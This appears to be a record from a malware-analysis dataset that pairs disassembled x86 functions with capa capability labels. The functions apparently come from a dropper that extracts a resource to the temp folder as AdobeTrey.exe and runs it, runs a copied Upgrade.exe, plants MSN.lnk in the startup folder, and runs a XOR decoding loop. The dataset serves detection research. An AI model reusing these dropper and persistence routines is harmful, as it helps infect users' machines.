joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4084f1
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x410014
push 0x41000c
push str.FlsGetValue
push 0x21
call fcn.004083ae
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408528
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x408530
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41001c
push 0x410014
push str.FlsSetValue
push 0x22
call fcn.004083ae
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40856a
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40e160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40d2c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40d2ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40d2ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4014e0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x414
cmp word [esp + 0x418], 0x100
push esi
mov esi, ecx
jne 0x401594
mov eax, dword [0x4180fc]
push edi
mov dword [esp + 0xc], eax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x424]
lea ecx, [esp + 0xc]
push edi
push ecx
call fcn.00402e95
add esp, 8
lea edx, [esp + 8]
push 0
push 0
push 0
push 0
push edx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x214]
lea edx, [esp + 0x214]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 8]
mov ecx, eax
and ecx, 0xffff
shr eax, 0x10
push ecx
push eax
push str.U_SerialNumber:__X__X
push edx
call fcn.00402ef7
add esp, 0x10
lea eax, [esp + 0x214]
mov ecx, esi
push eax
call fcn.00401a90
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.00401770
pop edi
mov eax, 1
pop esi
add esp, 0x414
ret 8
mov eax, 1
pop esi
add esp, 0x414
ret 8

Function at 0x401650
Capabilities:
Get common file path

Disassembly:
push esi
push 0x418100
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4016ed
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 2
push esi
call edi
push 4
push esi
mov dword [0x419570], eax
call edi
test eax, eax
mov dword [0x419574], eax
pop edi
je 0x4016a3
cmp word [0x419580], 0
jne 0x4016a9
push 0x41957c
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
je 0x4016a9
xor eax, eax
pop esi
ret 4
mov eax, dword [0x41957c]
test eax, eax
je 0x4016ed
push 8
call fcn.0040ac3f
mov edx, dword [esp + 0xc]
add esp, 4
mov word [eax + 4], 1
mov ecx, dword [0x41957c]
push eax
push 1
push 0x402
push 0xffff
push 0xff
push edx
mov dword [eax], ecx
call dword [0x419570]
mov word [0x419580], ax
mov eax, 1
pop esi
ret 4

Function at 0x401700
Capabilities:
Get disk information

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x412578
push eax
mov dword fs:[0], esp
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
mov dword [esp + 8], 0xffffffff
lea ecx, [esp + 0x10]
jne 0x401749
call fcn.0040b799
xor eax, eax
mov ecx, dword [esp]
mov dword fs:[0], ecx
add esp, 0xc
ret 4
call fcn.0040b799
mov ecx, dword [esp]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0xc
ret 4
Function at 0x401770
Capabilities:
Enumerate files on windows
Get file size
Read file on windows

Disassembly:
sub esp, 0x65c
push ebx
push esi
push 0
push 0x80
push 3
mov dword [esp + 0x14], ecx
push 0
push 0
add ecx, 0x60
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4019d2
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
test esi, esi
je 0x4019d2
push ebp
push edi
push 4
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, eax
lea eax, [esp + 0x18]
push 0
push eax
push esi
push ebp
push ebx
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, 0x94
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov ecx, 0x80
lea edi, [esp + 0x46c]
rep stosd dword es:[edi], eax
mov ecx, 0x80
lea edi, [esp + 0x26c]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x670]
lea ecx, [esp + 0x46c]
push edi
push ecx
call fcn.00402e95
lea edx, [esp + 0x474]
push 0x41814c
push edx
call fcn.00402e6b
add esp, 0x10
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x46c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
mov al, byte [esp + 0x1c]
test al, 0x10
je 0x4018e8
lea edx, [esp + 0x48]
push 0x418148
push edx
call fcn.00402f66
add esp, 8
test eax, eax
je 0x4018e8
lea eax, [esp + 0x48]
push 0x418140
push eax
call fcn.00402f66
add esp, 8
test eax, eax
je 0x4018e8
lea ecx, [esp + 0x48]
push str.recycler
push ecx
call fcn.00402f66
add esp, 8
test eax, eax
je 0x4018e8
lea edx, [esp + 0x48]
push str.recycled
push edx
call fcn.00402f66
add esp, 8
test eax, eax
je 0x4018e8
lea eax, [esp + 0x26c]
push edi
push eax
call fcn.00402e95
lea ecx, [esp + 0x50]
lea edx, [esp + 0x274]
push ecx
push edx
call fcn.00402e6b
mov ecx, dword [esp + 0x20]
add esp, 0x10
lea eax, [esp + 0x26c]
push esi
push ebp
push eax
call fcn.004019e0
jmp 0x401910
lea ecx, [esp + 0x48]
push 0x418148
push ecx
call fcn.00402f66
add esp, 8
test eax, eax
je 0x401910
lea edx, [esp + 0x48]
push 0x418140
push edx
call fcn.00402f66
add esp, 8
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x4019aa
test byte [esp + 0x1c], 0x10
je 0x40198b
lea edx, [esp + 0x48]
push 0x418148
push edx
call fcn.00402f66
add esp, 8
test eax, eax
je 0x40198b
lea eax, [esp + 0x48]
push 0x418140
push eax
call fcn.00402f66
add esp, 8
test eax, eax
je 0x40198b
lea ecx, [esp + 0x48]
push str.recycler
push ecx
call fcn.00402f66
add esp, 8
test eax, eax
je 0x40198b
lea edx, [esp + 0x48]
push str.recycled
push edx
call fcn.00402f66
add esp, 8
test eax, eax
jne 0x4018b0
lea ecx, [esp + 0x48]
push 0x418148
push ecx
call fcn.00402f66
add esp, 8
test eax, eax
je 0x401910
jmp 0x4018fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x8000
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x65c
ret 4
Function at 0x4019e0
Capabilities:
Delete file
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x20c
mov ecx, 0x82
xor eax, eax
push esi
push edi
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x218]
lea eax, [esp + 0xc]
push edi
push eax
call fcn.00402e95
lea ecx, [esp + 0x14]
push 0x418150
push ecx
call fcn.00402e6b
add esp, 0x10
lea edx, [esp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401a82
mov ecx, dword [esp + 0x220]
mov edx, dword [esp + 0x21c]
lea eax, [esp + 8]
push 0
push eax
push ecx
push edx
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x401a82
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
add esp, 0x20c
ret 0xc

Function at 0x401a90
Capabilities:
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x61c
mov ecx, 0x82
xor eax, eax
push esi
push edi
lea edi, [esp + 0x214]
rep stosd dword es:[edi], eax
mov ecx, 0x82
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x214]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [esp + 0x214]
push ecx
call fcn.00402e4e
sub eax, 5
lea edx, [esp + 0x218]
push eax
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00402eba
lea ecx, [esp + 0x1c]
push str.BConfig.tmp
push ecx
call fcn.00402e6b
add esp, 0x18
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
lea edx, [esp + 0xc]
push 0
push 2
push 3
push 0
push 0
push 0xc0000000
push edx
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x401b36
push 0
push 2
push 2
push 0
push 0
lea eax, [esp + 0x20]
push 0xc0000000
push eax
call edi
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x41c]
lea edx, [esp + 0x41c]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x628]
mov dword [esp + 8], 0
push ecx
push str._s_t_t
push edx
call fcn.00402ef7
lea eax, [esp + 0x428]
push eax
call fcn.00402e4e
add esp, 0x10
lea ecx, [esp + 8]
lea edx, [eax + eax]
lea eax, [esp + 0x41c]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x61c
ret 4
Function at 0x401bc0
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4125d2
push eax
mov dword fs:[0], esp
sub esp, 0x434
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.HEXFILE
xor ebx, ebx
push 0x82
mov esi, ecx
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, ebx
mov dword [esi + 0x268], eax
je 0x401db8
push eax
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x401c45
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [esi + 0x26c], eax
je 0x401db8
mov eax, dword [esi + 0x268]
push eax
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esi + 0x270], eax
lea ecx, [esp + 0xc]
call fcn.0040e5b3
mov ecx, dword [0x418438]
mov dword [esp + 0x448], ebx
mov dword [esp + 0x1c], ecx
push ebx
lea ecx, [esp + 0x20]
mov byte [esp + 0x44c], 1
mov dword [esp + 0x10], vtable.CFileException.0
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], 0xffffffff
call fcn.0040b8e5
mov ebx, 2
lea ecx, [esp + 0x20]
mov dword [esp + 0x448], ebx
call fcn.0040e9da
lea edx, [esp + 0x238]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x238]
push edx
push 0x104
rep stosd dword es:[edi], eax
mov byte [esp + 0x450], 3
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x30]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x238]
push eax
call fcn.00402e4e
sub eax, 5
lea ecx, [esp + 0x23c]
push eax
lea edx, [esp + 0x38]
push ecx
push edx
call fcn.00402eba
lea eax, [esp + 0x40]
push str.AdobeTrey.exe
push eax
call fcn.00402e6b
add esp, 0x18
lea ecx, [esp + 0xc]
lea edx, [esp + 0x30]
push ecx
push 0x1001
push edx
lea ecx, [esp + 0x2c]
call fcn.0040eaec
test eax, eax
jne 0x401d48
lea ecx, [esp + 0x20]
mov byte [esp + 0x448], bl
call fcn.0040ea2f
mov dword [esp + 0xc], vtable.CFileException.0
mov dword [esp + 0x448], 4
jmp 0x401daf
mov eax, dword [esi + 0x270]
mov ecx, dword [esi + 0x26c]
push eax
push ecx
lea ecx, [esp + 0x28]
call fcn.0040ec43
lea ecx, [esp + 0x20]
call fcn.0040ece6
lea ecx, [esp + 0x20]
call fcn.0040ed07
push 1
push 0
lea edx, [esp + 0x38]
push str._local
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [esp + 0x20]
mov byte [esp + 0x448], bl
call fcn.0040ea2f
mov dword [esp + 0xc], vtable.CFileException.0
mov dword [esp + 0x448], 5
lea ecx, [esp + 0x1c]
call fcn.0040b799
mov ecx, dword [esp + 0x440]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x440
ret
Function at 0x401dd0
Capabilities:
Create process on windows
Get common file path
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x418
add ecx, 0x60
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x401f0b
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
test ebx, ebx
je 0x401f0b
push 4
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
push ebx
push esi
push ebp
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x220]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x220]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x220]
rep stosd dword es:[edi], eax
push edx
call fcn.00402e4e
sub eax, 5
lea ecx, [esp + 0x1c]
push eax
lea eax, [esp + 0x228]
push eax
push ecx
call fcn.00402eba
lea edx, [esp + 0x28]
push str.Upgrade.exe
push edx
call fcn.00402e6b
add esp, 0x18
lea eax, [esp + 0x18]
push 0
push 2
push 2
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401f0b
lea ecx, [esp + 0x10]
push 0
push ecx
push ebx
push esi
push edi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 5
push 0
lea edx, [esp + 0x20]
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebp
call edi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x418
ret

Function at 0x401f20
Capabilities:
Get common file path
Get startup folder

Disassembly:
sub esp, 0x410
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x82
lea edi, [esp + 0x210]
test esi, esi
rep stosd dword es:[edi], eax
je 0x401f41
mov eax, dword [esi + 0x1c]
push 0
lea ecx, [esp + 0x214]
push 7
push ecx
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 8]
lea edx, [esp + 0x210]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push edx
push eax
call fcn.00402e95
lea ecx, [esp + 0x10]
push str.MSN.lnk
push ecx
call fcn.00402e6b
add esp, 0x10
lea edx, [esp + 8]
lea eax, [esi + 0x60]
mov ecx, esi
push edx
push eax
call fcn.00401fa0
pop edi
pop esi
add esp, 0x410
ret 4
Function at 0x401fa0
Capabilities:
Create shortcut via ishelllink

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4125f0
push eax
mov dword fs:[0], esp
sub esp, 0xc
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 4]
push eax
push 0x414d70
push 1
push 0
push 0x414d60
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x401ff6
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret 8
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0x20]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
push esi
lea ecx, [esp + 8]
call fcn.0040b80d
push 0x5c
lea ecx, [esp + 8]
mov dword [esp + 0x1c], 0
call fcn.00409b87
lea edx, [esp + 0x20]
push eax
push edx
lea ecx, [esp + 0xc]
call fcn.00409b0f
push eax
lea ecx, [esp + 8]
mov byte [esp + 0x1c], 1
call fcn.0040b895
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.0040b799
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [esp + 8]
lea edx, [esp + 0xc]
push edx
push 0x414d80
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
pop esi
jge 0x4020a0
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [esp]
mov dword [esp + 0x14], 0xffffffff
call fcn.0040b799
xor eax, eax
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret 8
mov eax, dword [esp + 8]
mov edx, dword [esp + 0x20]
push 2
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 4]
push eax
mov edx, dword [eax]
call dword [edx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [esp]
mov dword [esp + 0x14], 0xffffffff
call fcn.0040b799
mov ecx, dword [esp + 0xc]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x18
ret 8
Function at 0x404aa9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x418a68
cmp edx, dword [eax]
je 0x404acb
add eax, 8
inc ecx
cmp eax, 0x418af8
jl 0x404abc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x418a68]
jne 0x404bf9
mov eax, dword [0x41b750]
cmp eax, 1
je 0x404bd3
test eax, eax
jne 0x404afc
cmp dword [0x41880c], 1
je 0x404bd3
cmp edx, 0xfc
je 0x404bf9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x404b33
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407430
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00407320
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x404b76
lea eax, [ebp - 0x1a4]
push eax
call fcn.00407320
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x414a6c
push edi
call fcn.00407520
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407430
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407440
lea eax, [ebp - 0xa0]
push 0x414a4c
push eax
call fcn.00407440
push dword [esi + 0x418a6c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407440
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040739b
add esp, 0x2c
pop edi
jmp 0x404bf9
lea eax, [ebp + 8]
lea esi, [esi + 0x418a6c]
push 0
push eax
push dword [esi]
call fcn.00407320
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x40dd02
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x40dd44
call fcn.00411411
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x40dd44
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x40dd3b
xor eax, eax
jmp 0x40dd4c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0040dd52
pop edi
pop esi
pop ebx
ret 4

Function at 0x411b69
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x411b97
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x411bb5
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00411acf
jmp 0x411bb5
mov eax, dword [esi + 0x14]
test eax, eax
je 0x411bb5
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00411acf
test edi, edi
mov eax, edi
jne 0x411b9f
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x43b638
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x43b3c1
mov ebx, 0xb265c8d7
sub ecx, ebx
mov ecx, 0x39cdea93
call fcn.0043b67a
or ecx, ecx
and ecx, ebx
sub ebx, 0xb91503fe
xor dword [eax], esi
add ebx, ebx
push ebx
pop ecx
inc eax
mov ecx, ebx
add ecx, ebx
sub ebx, 0x42c39f8a
cmp eax, edx
jne fcn.0043b638
mov ebx, 0x1c724d4b
mov ebx, ecx
ret
Function at 0x4010df
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00415390
push ebx
push edi
xor ebx, ebx
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1003]
mov byte [ebp - 0x1004], bl
push ebx
rep stosd dword es:[edi], eax
push 0x80
push 3
push ebx
push ebx
stosw word es:[edi], ax
push 0x80000000
push dword [ebp + 0xc]
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40112c
xor eax, eax
jmp 0x401190
mov edi, dword [ebp + 0x10]
push esi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x1004]
push ebx
push eax
mov dword [ebp + 0xc], ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0xc]
push ebx
push eax
lea eax, [ebp - 0x1004]
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [ebp + 0xc], ebx
je 0x401183
push dword [ebp + 0xc]
lea eax, [ebp - 0x1004]
push eax
mov eax, dword [edi]
add eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp + 0xc]
add esp, 0xc
add dword [edi], eax
jmp 0x401135
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x414fff
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.00415390
mov ebx, esp
lea eax, [ebp - 0x24]
push 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x415058
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 4], eax
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
call fcn.004150b3
dec eax
neg eax
sbb eax, eax
and ax, 0x1000
add eax, 0x11000
add eax, edi
cmp esi, eax
jae 0x41505c
xor eax, eax
jmp 0x4150ab
call fcn.004150b3
cmp eax, 1
je 0x41508c
cmp esi, edi
jbe 0x41507b
mov eax, esi
push 0x4000
sub eax, edi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 4
push 0x1000
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
call fcn.004150b3
dec eax
lea ecx, [ebp - 8]
neg eax
sbb eax, eax
push ecx
and eax, 0x103
inc eax
push eax
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret